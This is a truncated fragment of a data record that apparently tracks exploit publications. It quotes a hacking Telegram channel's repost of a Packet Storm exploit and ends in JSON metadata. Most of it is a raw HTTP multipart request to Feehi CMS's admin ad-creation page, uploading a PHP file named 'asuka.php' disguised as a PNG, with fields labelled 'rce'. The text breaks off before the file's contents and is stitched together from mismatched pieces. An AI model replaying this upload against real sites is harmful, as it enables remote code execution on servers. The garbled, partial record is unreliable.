text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nReferer: http://feehi-cms.local/admin/index.php?r=ad%2Fcreate\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nCookie: _csrf=807bee7110e873c728188300428b64dd155c422c1ebf36205f7ac2047eef0982a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22H9zz-zoIIPm7GEDiUGwm81TqyoAb5w0U%22%3B%7D; PHPSESSID=aa1dec72025b1524ae0156d527007e53; BACKEND_FEEHICMS=7f608f099358c22d4766811704a93375; _csrf_backend=3584dfe50d9fe91cfeb348e08be22c1621928f41425a41360b70c13e7c6bd2daa%3A2%3A%7Bi%3A0%3Bs%3A13%3A%22_csrf_backend%22%3Bi%3A1%3Bs%3A32%3A%22jQjzwf12TCyw_BLdszCqpz4zjphcQrmP%22%3B%7D\n\nConnection: close\n------WebKitFormBoundaryFBYJ8wfp9LBoF4xg\n\nContent-Disposition: form-data; name=\"_csrf_backend\"\nFvaDqWC07mTGiOuZr-Qzyc2NlSACNuyPM4w7qXxTgmZ8p-nTF9LfVpLLku7wpn-tvvfWUXJM2PVZ_FPKLSHvNg==\n\n------WebKitFormBoundaryFBYJ8wfp9LBoF4xg\n\nContent-Disposition: form-data; name=\"AdForm[name]\"\nrce\n\n------WebKitFormBoundaryFBYJ8wfp9LBoF4xg\n\nContent-Disposition: form-data; name=\"AdForm[tips]\"\nrce at Ad management\n\n------WebKitFormBoundaryFBYJ8wfp9LBoF4xg\n\nContent-Disposition: form-data; name=\"AdForm[input_type]\"\n1\n\n------WebKitFormBoundaryFBYJ8wfp9LBoF4xg\n\nContent-Disposition: form-data; name=\"AdForm[ad]\"\n------WebKitFormBoundaryFBYJ8wfp9LBoF4xg\n\nContent-Disposition: form-data; name=\"AdForm[ad]\"; filename=\"asuka.php\"\n\nContent-Type: image/png\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "url": "https://t.me/hacking_Attack/70331", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, "end": {"timestamp": "2026-11-06T20:36:30.607Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}}}